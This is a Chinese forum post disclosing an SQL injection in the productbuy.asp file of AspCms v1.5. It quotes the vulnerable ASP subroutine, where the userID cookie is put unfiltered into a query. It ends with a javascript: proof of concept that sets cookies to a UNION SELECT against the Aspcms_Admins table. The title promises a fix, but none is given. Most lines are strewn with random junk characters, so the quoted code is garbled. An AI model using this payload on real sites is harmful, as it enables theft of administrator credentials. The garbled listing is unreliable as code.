AspCms_v1.5_20110517 SQL注射漏洞及修复

admin

好久没上土司了，上来一看发现在删号名单内.....
% q' g9 g3 v) I7 F+ |1 h/ I: J也没啥好发的，前些天路过某个小站，用的AspCms这个系统，搜索了下，productbuy.asp这个文件存在注射，但是目标已经修补....下载了代码，很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞，但是就在同一个文件下面找到了注射漏洞。。。。。。。
( M& d' d9 ^7 u, R/ G5 ?废话不多说，看代码：
: n3 l3 C7 y, @3 c8 @
<%

if action = "buy" then
3 l/ ^) T( V& ]- w* r: A" X5 u/ v
$ k7 [5 u5 s/ e5 ?" o( n        addOrder()

4 P5 K+ A6 C  d1 {8 v, ^else
5 R& Q8 ~) ]8 m4 U4 S- o& V
6 S' X% h8 K; k0 |' e        echoContent()

end if


+ i  ^3 r3 s% H5 `! n0 `- d6 S) D
& P. f5 g6 t( F$ k3 r: S……略过

' j4 _4 @' H8 H" c* i/ ]$ S4 d( m

* H9 D4 @; g3 c, f/ x7 y. |Sub echoContent()
% |/ v4 ^$ q% p; i1 e8 H1 R5 J; n
        dim id
0 }  a( G) k' o0 s6 |
& l4 o5 ?$ y4 s, D+ g: f. g! \        id=getForm("id","get")

        
+ m# W7 j6 H. c& L( X) r5 g
        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品！","-1"

        
& }/ b: y, i# b" o1 s' @  Q
" S: l; x- c% {  n2 v1 s        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")

        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct
3 |3 B" ~, f8 f+ b( A
        Dim templatePath,tempStr
* L* t& g) ?- X& n0 A( W: Z& N8 j* ^
8 B$ N' G) g5 O. U        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"
) _5 U( K5 F$ f+ T' m


/ o# U# q/ {- o% Q: c, z7 O  s        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")

        selectproduct=rsObj(0)

# s4 d& w) j3 v5 L. Z! v# R        

  }- |' P: R4 S: X! A2 k5 _8 F        Dim linkman,gender,phone,mobile,email,qq,address,postcode

/ M" i7 k% a& k7 j# H- o        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",0

- Y* o. d( i& q  s        if rCookie("loginstatus")=1 then  

0 l  W  C5 v9 c0 K4 y                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")
# D4 h( b! O! Q7 w* h7 o
                linkman=rsObj("truename")

                gender=rsObj("gender")
6 f& C0 W. N, ~% ], ^, F% ^
                phone=rsObj("phone")

" X! g2 U, t& S4 k: H0 w                mobile=rsObj("mobile")

1 U( e% `# N/ U7 B                email=rsObj("email")

* k! f: g/ D+ r9 D                qq=rsObj("qq")

5 ]- j, V* Q5 q4 y6 |# L                address=rsObj("address")
# h9 a5 @! b. s) X% Q9 s
                postcode=rsObj("postcode")

) {/ g& T1 H5 B9 u  m& U1 v. e" {        else
: Z& Q) b( L4 v( r. N" p7 x
1 L1 F2 }" A6 w8 A' h. x! e. _                gender=1
  M' J3 V! f* Y
        end if
2 b. p; n' l( F
        rsObj.close()

$ K1 B8 p4 P3 T% i* u% U  V0 ~               

; B+ D1 b8 B/ ~& j0 y        with templateObj
: j1 B- e3 U1 P  o" S* c( E8 C8 i
                .content=loadFile(templatePath)        

                .parseHtml()
1 H. n0 J; k. a5 `+ w! ^7 l
2 l) F3 J4 `5 K2 k3 B& R                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)
! E0 c  h7 H! B+ j: d" H& }
                .content=replaceStr(.content,"[aspcms:linkman]",linkman)               
6 j! S2 J% ^) @) s0 Q) F
                .content=replaceStr(.content,"[aspcms:gender]",gender)               
9 G' W" r, Q/ g* [* x$ z" g
                .content=replaceStr(.content,"[aspcms:phone]",phone)               
; l( {7 [. y" o% R" P2 j6 \
6 ~/ t2 A7 y7 s8 o: s7 M- C                .content=replaceStr(.content,"[aspcms:mobile]",mobile)               

                .content=replaceStr(.content,"[aspcms:email]",email)                        
- A# J9 _3 g& `3 u  L0 a
                .content=replaceStr(.content,"[aspcms:qq]",qq)                        

                .content=replaceStr(.content,"[aspcms:address]",address)                        
% n% O5 ^; Y4 G+ F4 J! |) w/ m
- S* B; X5 b3 p: F* ]- B0 H: G                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        

                .parseCommon()                 
& |% S7 O. w: T/ Q2 I1 b
3 m% i  z( I' e2 o; o/ ~) G0 A  j                echo .content

        end with
% |& a, K% H' d2 d1 e; i5 H& A8 }  H
, N5 F  q/ Y  p        set templateobj =nothing : terminateAllObjects
9 u( j) w, j) `$ r5 X
End Sub
漏洞很明显，没啥好说的
poc：
9 l1 ]( e9 L; @
javascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外，脚本板块没权限发帖子​

  r( y5 r  V4 \# j